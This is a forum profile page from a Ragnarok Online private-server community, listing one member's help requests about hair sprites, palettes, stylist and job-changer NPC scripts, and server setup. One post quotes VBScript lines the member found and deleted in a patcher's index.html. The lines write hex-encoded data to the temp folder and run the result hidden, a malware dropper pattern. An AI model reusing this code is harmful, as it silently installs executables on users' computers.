Jump to content

Erio-chan

Members
  • Posts

    97
  • Joined

  • Last visited

Everything posted by Erio-chan

  1. Version v1

    266 downloads

    this hair is not mine, it is just testing upload all girls hair style are corrected and compatible with custom hair palette it is my first try GOMENE
    Free
  2. I only have that black one but you can DL all my hair sprite here is the link : https://rathena.org/board/files/file/3462-my-girls-hair-sprite/ they are all corrected sprites for custom palettes
  3. What is wrong with this script? can't detect max palette, hstyle and body style always max = 0 I am using my Guillotine X female always back to 0 hstyle 0 palettes command @hstyle @hcolor works when using my RoyalGuard male client clash //===== 3CeAM Script ========================================= //= 3CeAM Custom Stylist NPC //===== By: ================================================== //= Rytech //===== Current Version: ===================================== //= 1.0 //===== Compatible With: ===================================== //= 3CeAM r791+ //===== Description: ========================================= //= A new generation stylist that offers enhanced style //= options and dressing room for character dye/style preview. //= Stylist also detects the server's max dyes/styles settings //= and also auto adjusts maxes between jobs as needed. //===== Additional Comments: ================================= //= 1.0 First release. [Rytech] //============================================================ prontera,162,184,4 script Super Stylist 509,{ Lintro: mes "[Super Stylist]"; mes "Hey there. Im a super stylist. Want to try out my services?"; mes "I can customize your character's appearance in a hand full of ways."; next; menu "Sure.",Laccessroom,"No Thanks.",Lbye,"Super Stylist???",Lwhoareyou; Laccessroom: // Open the dressing room and sets the dye/style max's depending on the job. opendressroom(0); set @hairdyemax,MaxHairDye; set @bodydyemax,MaxBodyDye; // Summoner's only have 6 hair styles. if (BaseClass != Job_Summoner) set @hairstylemax,MaxHairStyle; else set @hairstylemax,6; // Only 3rd job's have access to a 2nd body style. // Note: Not all of the new body styles are out. Best to limit only to jobs that do have them. if ( // BaseThird == Job_Rune_Knight || // BaseThird == Job_Warlock || // BaseThird == Job_Ranger || BaseThird == Job_Arch_Bishop || BaseThird == Job_Mechanic || BaseThird == Job_Guillotine_Cross || BaseThird == Job_Royal_Guard || // BaseThird == Job_Sorcerer || // BaseThird == Job_Minstrel || // BaseThird == Job_Wanderer || // BaseThird == Job_Sura || BaseThird == Job_Genetic // BaseThird == Job_Shadow_Chaser ) set @bodystylemax,MaxBodyStyle; else set @bodystylemax,0; Lmain: mes "[Super Stylist]"; mes "Ok step this way. A dressing room window should open. Use this to decide what you want and then select in the menu what your interested in."; next; menu "All Dyes And Styles",Lalldyestyle,"Hair Dye Only",Lhairdye,"Hair Style Only",Lhairstyle,"Body Dye Only",Lbodydye,"Body Style Only",Lbodystyle,"Im done.",Lbye; Lalldyestyle: mes "[Super Stylist]"; mes "Enter the dyes/styles you want in the 4 input boxes in order...."; mes "Max Hair Dyes = "+@hairdyemax+""; mes "Max Hair Styles = "+@hairstylemax+""; mes "Max Body Dyes = "+@bodydyemax+""; mes "Max Body Styles = "+@bodystylemax+""; input @hairdye; if (@hairdye < 0 || @hairdye > @hairdyemax) set @hairdye,0; input @hairstyle; if (@hairstyle < 0 || @hairstyle > @hairstylemax) set @hairstyle,0; input @bodydye; if (@bodydye < 0 || @bodydye > @bodydyemax) set @bodydye,0; input @bodystyle; if (@bodystyle < 0 || @bodystyle > @bodystylemax) set @bodystyle,0; setlook 6,@hairdye; setlook 1,@hairstyle; setlook 7,@bodydye; setlook 13,@bodystyle; next; goto Lmain; Lhairdye: mes "[Super Stylist]"; mes "Enter the dye you want."; mes "Max Hair Dyes = "+@hairdyemax+""; input @hairdye; if (@hairdye < 0 || @hairdye > @hairdyemax) set @hairdye,0; setlook 6,@hairdye; next; goto Lmain; Lhairstyle: mes "[Super Stylist]"; mes "Enter the style you want."; mes "Max Hair Styles = "+@hairstylemax+""; input @hairstyle; if (@hairstyle < 0 || @hairstyle > @hairstylemax) set @hairstyle,0; setlook 1,@hairstyle; next; goto Lmain; Lbodydye: mes "[Super Stylist]"; mes "Enter the dye you want."; mes "Max Body Dyes = "+@bodydyemax+""; input @bodydye; if (@bodydye < 0 || @bodydye > @bodydyemax) set @bodydye,0; setlook 7,@bodydye; next; goto Lmain; Lbodystyle: mes "[Super Stylist]"; mes "Enter the style you want."; mes "Max Body Styles = "+@bodystylemax+""; input @bodystyle; if (@bodystyle < 0 || @bodystyle > @bodystylemax) set @bodystyle,0; setlook 13,@bodystyle; next; goto Lmain; Lbye: mes "[Super Stylist]"; mes "Ok then. Ill be here whenever you need to change your look."; close; Lwhoareyou: mes "[Super Stylist]"; mes "Never herd of us?"; mes "We super stylist are a new generation of stylist that are able to provide character appearance customization to players."; next; mes "But the difference between us and regular stylist is that we have a dressing room that allows you to try out different styles and dyes freely all together."; mes "This allows you to get a full preview of what your char will look like if you applied all the styles and dyes selected before finalizing what you want."; mes "Better then doing one at a time."; next; mes "Super stylist can also change the appearance of the outfit you wear. We call them body styles. However, only 3rd job characters are offered this service at the moment."; mes "Also we don't have outfits ready for all of these jobs yet since this service is still very new and designs are still being worked on."; mes "Be sure to check back later if a style isnt available for your job as were releasing them one by one."; next; goto Lintro; } this is my settings
  4. I really don't know where to post it, it is somehow related with the script I am using 2016 latest kro files diff client supporting/woking 553 cloths, 297 hair palettes and 60 hair styles but it crash when I choose open dressing room in this NPC script : //===== 3CeAM Script ========================================= //= 3CeAM Custom Stylist NPC //===== By: ================================================== //= Rytech //===== Current Version: ===================================== //= 1.0 //===== Compatible With: ===================================== //= 3CeAM r791+ //===== Description: ========================================= //= A new generation stylist that offers enhanced style //= options and dressing room for character dye/style preview. //= Stylist also detects the server's max dyes/styles settings //= and also auto adjusts maxes between jobs as needed. //===== Additional Comments: ================================= //= 1.0 First release. [Rytech] //============================================================ prontera,162,184,4 script Super Stylist 509,{ Lintro: mes "[Super Stylist]"; mes "Hey there. Im a super stylist. Want to try out my services?"; mes "I can customize your character's appearance in a hand full of ways."; next; menu "Sure.",Laccessroom,"No Thanks.",Lbye,"Super Stylist???",Lwhoareyou; Laccessroom: // Open the dressing room and sets the dye/style max's depending on the job. opendressroom(0); set @hairdyemax,MaxHairDye; set @bodydyemax,MaxBodyDye; // Summoner's only have 6 hair styles. if (BaseClass != Job_Summoner) set @hairstylemax,MaxHairStyle; else set @hairstylemax,6; // Only 3rd job's have access to a 2nd body style. // Note: Not all of the new body styles are out. Best to limit only to jobs that do have them. if ( // BaseThird == Job_Rune_Knight || // BaseThird == Job_Warlock || // BaseThird == Job_Ranger || BaseThird == Job_Arch_Bishop || BaseThird == Job_Mechanic || BaseThird == Job_Guillotine_Cross || BaseThird == Job_Royal_Guard || // BaseThird == Job_Sorcerer || // BaseThird == Job_Minstrel || // BaseThird == Job_Wanderer || // BaseThird == Job_Sura || BaseThird == Job_Genetic // BaseThird == Job_Shadow_Chaser ) set @bodystylemax,MaxBodyStyle; else set @bodystylemax,0; Lmain: mes "[Super Stylist]"; mes "Ok step this way. A dressing room window should open. Use this to decide what you want and then select in the menu what your interested in."; next; menu "All Dyes And Styles",Lalldyestyle,"Hair Dye Only",Lhairdye,"Hair Style Only",Lhairstyle,"Body Dye Only",Lbodydye,"Body Style Only",Lbodystyle,"Im done.",Lbye; Lalldyestyle: mes "[Super Stylist]"; mes "Enter the dyes/styles you want in the 4 input boxes in order...."; mes "Max Hair Dyes = "+@hairdyemax+""; mes "Max Hair Styles = "+@hairstylemax+""; mes "Max Body Dyes = "+@bodydyemax+""; mes "Max Body Styles = "+@bodystylemax+""; input @hairdye; if (@hairdye < 0 || @hairdye > @hairdyemax) set @hairdye,0; input @hairstyle; if (@hairstyle < 0 || @hairstyle > @hairstylemax) set @hairstyle,0; input @bodydye; if (@bodydye < 0 || @bodydye > @bodydyemax) set @bodydye,0; input @bodystyle; if (@bodystyle < 0 || @bodystyle > @bodystylemax) set @bodystyle,0; setlook 6,@hairdye; setlook 1,@hairstyle; setlook 7,@bodydye; setlook 13,@bodystyle; next; goto Lmain; Lhairdye: mes "[Super Stylist]"; mes "Enter the dye you want."; mes "Max Hair Dyes = "+@hairdyemax+""; input @hairdye; if (@hairdye < 0 || @hairdye > @hairdyemax) set @hairdye,0; setlook 6,@hairdye; next; goto Lmain; Lhairstyle: mes "[Super Stylist]"; mes "Enter the style you want."; mes "Max Hair Styles = "+@hairstylemax+""; input @hairstyle; if (@hairstyle < 0 || @hairstyle > @hairstylemax) set @hairstyle,0; setlook 1,@hairstyle; next; goto Lmain; Lbodydye: mes "[Super Stylist]"; mes "Enter the dye you want."; mes "Max Body Dyes = "+@bodydyemax+""; input @bodydye; if (@bodydye < 0 || @bodydye > @bodydyemax) set @bodydye,0; setlook 7,@bodydye; next; goto Lmain; Lbodystyle: mes "[Super Stylist]"; mes "Enter the style you want."; mes "Max Body Styles = "+@bodystylemax+""; input @bodystyle; if (@bodystyle < 0 || @bodystyle > @bodystylemax) set @bodystyle,0; setlook 13,@bodystyle; next; goto Lmain; Lbye: mes "[Super Stylist]"; mes "Ok then. Ill be here whenever you need to change your look."; close; Lwhoareyou: mes "[Super Stylist]"; mes "Never herd of us?"; mes "We super stylist are a new generation of stylist that are able to provide character appearance customization to players."; next; mes "But the difference between us and regular stylist is that we have a dressing room that allows you to try out different styles and dyes freely all together."; mes "This allows you to get a full preview of what your char will look like if you applied all the styles and dyes selected before finalizing what you want."; mes "Better then doing one at a time."; next; mes "Super stylist can also change the appearance of the outfit you wear. We call them body styles. However, only 3rd job characters are offered this service at the moment."; mes "Also we don't have outfits ready for all of these jobs yet since this service is still very new and designs are still being worked on."; mes "Be sure to check back later if a style isnt available for your job as were releasing them one by one."; next; goto Lintro; } I will appreciate all your helps and concern
  5. I have just figure out it my self I open the file ( in my case its index.html) that causing the error in c++ note I deleted 1 by 1 all script line that constantly appearing in the popup error these are the lines that I have deleted Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 I dunno what is that and what is the function of that script but I tested my Patcher and it works perfectly with no error I hope someone here would explain us what is that script
  6. Erio-chan

    lasagna

    can I have your field/dungeons and warp script please I just really want to explore that cute map ganbatte senpai !!! I know you can finish it
  7. activex component can't create object I can patch anything no prob with that just this error annoy me always pops up when I open my patcher
  8. I need corrected jro 3rd job please not the alternate/costume where can I download these sprites? not these
  9. Erio-chan

    lasagna

    can I have script for : -lasagna warps -lasagna NPC -lasagna mobs -lasagna dungeons I will appreciate all you helps and concerns
  10. it means the hair sprite is not compatible with the palette your solution is either edit the hair sprite so its default color sprites would match the current palettes you are using or customize a palette for it would require basic knowledge on spriting and paletting and prolly necessary tools/programs for it Thanks for your reply @munding12 I tried to use hair sprite and hair palettes from the private server that I'm playing to be sure that they are compatible. I deleted all of my palettes and hair style to have no conflict but still not working. in addition to this because the number of hairstyle on that private server is 60 so I set my client.conf to: // Valid range of dyes and styles on the client. min_hair_style: 0 max_hair_style: 60 min_hair_color: 0 max_hair_color: 500 min_cloth_color: 0 max_cloth_color: 553 min_body_style: 0 max_body_style: 1 and diff my exe to use 64k hair style problems are: only 1-30 hair style are available in game, changing style 31-60 is still the hair style #30 only default color or any hair style are work, changing it makes head turn black pls. help I know now the cause of my problem, it is my exe
  11. HELP pls BroEdit crash Browedit20275_error_report_160801-005412.zip
  12. @Kakaroto thanks for reply I never thought change cart 2 is MC_CARTDECORATE I already search it from my skill_db but there is no change cart 2
  13. I am using 2015-11-04aRagexe patched with NEMO (all recomended, read folder first, desable packet encription) UPDATED 2016 KRO grf and dll rAthena Translation-master 2016 I can use all 553 palettes in clothes but head turn all black when changing hair palettes
  14. [sOLVED] same as mine but I got the answer my self Use latest .exe and lua/lub
  15. //===== rAthena Script ======================================= //= Job Master //===== By: ================================================== //= Euphy //===== Current Version: ===================================== //= 1.4 //===== Compatible With: ===================================== //= rAthena Project //===== Description: ========================================= //= A fully functional job changer. //===== Additional Comments: ================================= //= 1.0 Initial script. //= 1.1 Fixed reset on Baby job change. //= 1.2 Added Expanded Super Novice support and initial Kagerou/Oboro support. //= 1.3 Kagerou/Oboro added. //= 1.4 Rebellion added. //============================================================ iz_ac02,103,210,4 script Principal Rain 620,{ function Job_Menu; mes "[Job Master]"; if (Class > Job_Soul_Linker) { mes "No more jobs are available."; close; } if (checkfalcon() || checkcart() || checkriding() || ismounting()) { mes "Please remove your " + ((checkfalcon()) ? "falcon" : "") + ((checkcart()) ? "cart" : "") + ((checkriding()) ? "Peco" : "") + ((ismounting()) ? "mount" : "") + " before proceeding."; close; } if (.SkillPointCheck && SkillPoint) { mes "Please use all your skill points before proceeding."; close; } .@eac = eaclass(); .@i = ((.ThirdClass) ? roclass(.@eac&EAJ_UPPERMASK) : Class); if (.@i >= Job_Knight && .@i <= Job_Crusader2) { if (BaseLevel < .Rebirth[0] || JobLevel < .Rebirth[1]) { .@blvl = .Rebirth[0] - BaseLevel; .@jlvl = .Rebirth[1] - JobLevel; mes "You need " + ((.@blvl > 0) ? .@blvl + " more base levels " + ((.@jlvl > 0) ? "/ " : "") : "") + ((.@jlvl > 0) ? .@jlvl + " more job levels " : "") + "to continue."; close; } if (Class > Job_Crusader2) { mes "Switch to third class?"; next; Job_Menu(roclass(.@eac|EAJL_THIRD)); close; } while(1) { mes "Select an option."; next; .@i = select(" ~ ^0055FFRebirth^000000:" + ((.ThirdClass) ? " ~ ^FF0000Third Class^000000" : "") + ": ~ ^777777Cancel^000000"); if (.@i == 3) close; mes "[Job Master]"; mes "Are you sure?"; next; Job_Menu(((.@i == 1) ? Job_Novice_High : roclass(.@eac|EAJL_THIRD))); mes "[Job Master]"; } } .@j1 = roclass(.@eac|EAJL_2_1); .@j2 = roclass(.@eac|EAJL_2_2); if ((.@eac&EAJ_UPPERMASK) == EAJ_SUPER_NOVICE) setarray .@exp[0], roclass(.@eac|EAJL_THIRD), 99; if (Class == Job_Ninja || Class == Job_Gunslinger) setarray .@exp[0], .@j1, 70; if (.@exp[0] && .SecondExpanded) { if (BaseLevel < .Rebirth[0] || JobLevel < .@exp[1]) { .@blvl = .Rebirth[0] - BaseLevel; .@jlvl = .@exp[1] - JobLevel; mes "You need " + ((.@blvl > 0) ? .@blvl + " more base levels " + ((.@jlvl > 0) ? "/ " : "") : "") + ((.@jlvl > 0) ? .@jlvl + " more job levels " : "") + "to continue."; close; } mes "Switch to " + jobname(.@exp[0]) + "?"; next; Job_Menu(.@exp[0]); close; } if (.@eac&EAJL_2) if (.@eac&(EAJL_UPPER|EAJL_BABY) || roclass(.@eac|EAJL_UPPER) == -1) { mes "No more jobs are available."; close; } if ((.@eac&EAJ_BASEMASK) == EAJ_NOVICE) { if (JobLevel < .JobReq[0]) mes "A job level of " + .JobReq[0] + " is required to change into the 1st Class."; else if (Class == Job_Novice_High && .LastJob && lastJob) { mes "Switch classes now?"; next; Job_Menu(roclass((eaclass(lastJob)&EAJ_BASEMASK)|EAJL_UPPER)); } else { switch(Class) { case Job_Novice: Job_Menu( Job_Swordman, Job_Mage, Job_Archer, Job_Acolyte, Job_Merchant, Job_Thief, Job_Super_Novice, Job_Taekwon, Job_Gunslinger, Job_Ninja, Job_Baby ); break; case Job_Novice_High: Job_Menu( Job_Swordman_High, Job_Mage_High, Job_Archer_High, Job_Acolyte_High, Job_Merchant_High, Job_Thief_High ); break; case Job_Baby: Job_Menu( Job_Baby_Swordman, Job_Baby_Mage, Job_Baby_Archer, Job_Baby_Acolyte, Job_Baby_Merchant, Job_Baby_Thief, Job_Super_Baby ); break; default: mes "An error has occurred."; break; } } close; } if (roclass(.@eac|EAJL_2_1) == -1 || roclass(.@eac|EAJL_2_2) == -1) mes "No more jobs are available."; else if (!(.@eac&EAJL_2) && JobLevel < .JobReq[1]) mes "A job level of " + .JobReq[1] + " is required to change into the 2nd Class."; else if (.LastJob && lastJob && (.@eac&EAJL_UPPER)) { mes "Switch classes now?"; next; Job_Menu(lastJob + Job_Novice_High); } else Job_Menu(.@j1, .@j2); close; function Job_Menu { while(1) { if (getargcount() > 1) { mes "Select a job."; .@menu$ = ""; for (.@i = 0; .@i < getargcount(); .@i++) .@menu$ = .@menu$ + " ~ " + jobname(getarg(.@i)) + ":"; .@menu$ = .@menu$+" ~ ^777777Cancel^000000"; next; .@i = getarg(select(.@menu$) - 1, 0); if (!.@i) close; if ((.@i == Job_Super_Novice || .@i == Job_Super_Baby) && BaseLevel < .SNovice) { mes "[Job Master]"; mes "A base level of " + .SNovice + " is required to turn into a " + jobname(.@i) + "."; close; } mes "[Job Master]"; mes "Are you sure?"; next; } else .@i = getarg(0); if (select(" ~ Change into ^0055FF" + jobname(.@i) + "^000000 class: ~ ^777777" + ((getargcount() > 1) ? "Go back" : "Cancel") + "^000000") == 1) { mes "[Job Master]"; mes "You are now " + callfunc("F_InsertArticle", jobname(.@i)) + "!"; if (.@i == Job_Novice_High && .LastJob) lastJob = Class; jobchange .@i; if (.@i == Job_Novice_High) resetlvl(1); else if (.@i == Job_Baby) { resetstatus; resetskill; set SkillPoint,0; } specialeffect2 EF_ANGEL2; specialeffect2 EF_ELECTRIC; if (.Platinum) callsub Get_Platinum; close; } if (getargcount() == 1) return; mes "[Job Master]"; } end; } Get_Platinum: skill "NV_FIRSTAID",1,SKILL_PERM; switch (BaseClass) { case Job_Novice: if (Class != Job_Super_Novice) skill "NV_TRICKDEAD",1,SKILL_PERM; break; case Job_Swordman: skill "SM_MOVINGRECOVERY",1,SKILL_PERM; skill "SM_FATALBLOW",1,SKILL_PERM; skill "SM_AUTOBERSERK",1,SKILL_PERM; break; case Job_Mage: skill "MG_ENERGYCOAT",1,SKILL_PERM; break; case Job_Archer: skill "AC_MAKINGARROW",1,SKILL_PERM; skill "AC_CHARGEARROW",1,SKILL_PERM; break; case Job_Acolyte: skill "AL_HOLYLIGHT",1,SKILL_PERM; break; case Job_Merchant: skill "MC_CARTREVOLUTION",1,SKILL_PERM; skill "MC_CHANGECART",1,SKILL_PERM; skill "MC_LOUD",1,SKILL_PERM; break; case Job_Thief: skill "TF_SPRINKLESAND",1,SKILL_PERM; skill "TF_BACKSLIDING",1,SKILL_PERM; skill "TF_PICKSTONE",1,SKILL_PERM; skill "TF_THROWSTONE",1,SKILL_PERM; break; default: break; } switch (BaseJob) { case Job_Knight: skill "KN_CHARGEATK",1,SKILL_PERM; break; case Job_Priest: skill "PR_REDEMPTIO",1,SKILL_PERM; break; case Job_Wizard: skill "WZ_SIGHTBLASTER",1,SKILL_PERM; break; case Job_Blacksmith: skill "BS_UNFAIRLYTRICK",1,SKILL_PERM; skill "BS_GREED",1,SKILL_PERM; break; case Job_Hunter: skill "HT_PHANTASMIC",1,SKILL_PERM; break; case Job_Assassin: skill "AS_SONICACCEL",1,SKILL_PERM; skill "AS_VENOMKNIFE",1,SKILL_PERM; break; case Job_Crusader: skill "CR_SHRINK",1,SKILL_PERM; break; case Job_Monk: skill "MO_KITRANSLATION",1,SKILL_PERM; skill "MO_BALKYOUNG",1,SKILL_PERM; break; case Job_Sage: skill "SA_CREATECON",1,SKILL_PERM; skill "SA_ELEMENTWATER",1,SKILL_PERM; skill "SA_ELEMENTGROUND",1,SKILL_PERM; skill "SA_ELEMENTFIRE",1,SKILL_PERM; skill "SA_ELEMENTWIND",1,SKILL_PERM; break; case Job_Rogue: skill "RG_CLOSECONFINE",1,SKILL_PERM; break; case Job_Alchemist: skill "AM_BIOETHICS",1,SKILL_PERM; break; case Job_Bard: skill "BA_PANGVOICE",1,SKILL_PERM; break; case Job_Dancer: skill "DC_WINKCHARM",1,SKILL_PERM; break; default: break; } return; OnInit: setarray .Rebirth[0],99,50; // Minimum base level, job level to rebirth OR change to third class setarray .JobReq[0],10,40; // Minimum job level to turn into 1st class, 2nd class .ThirdClass = 1; // Enable third classes? (1: yes / 0: no) .SecondExpanded = 1; // Enable new expanded second classes: Ex. Super Novice, Kagerou/Oboro, Rebellion? (1: yes / 0: no) .SNovice = 45; // Minimum base level to turn into Super Novice .LastJob = 1; // Enforce linear class changes? (1: yes / 0: no) .SkillPointCheck = 1; // Force player to use up all skill points? (1: yes / 0: no) .Platinum = 1; // Get platinum skills automatically? (1: yes / 0: no) end; } //------------Duplicate iz_ac02_a,103,210,4 duplicate(Principal Rain) Principal Rain#a 620 iz_ac02_b,103,210,4 duplicate(Principal Rain) Principal Rain#b 620 iz_ac02_c,103,210,4 duplicate(Principal Rain) Principal Rain#c 620 iz_ac02_d,103,210,4 duplicate(Principal Rain) Principal Rain#d 620 I search anywhere or related topic about these but I can't find it. pls help
  16. HELP ME PLEASE!!!!!!! my login-server and map-server loads fine but my char-server can't connect. I already config map_rathena and char_rathena.
×
×
  • Create New...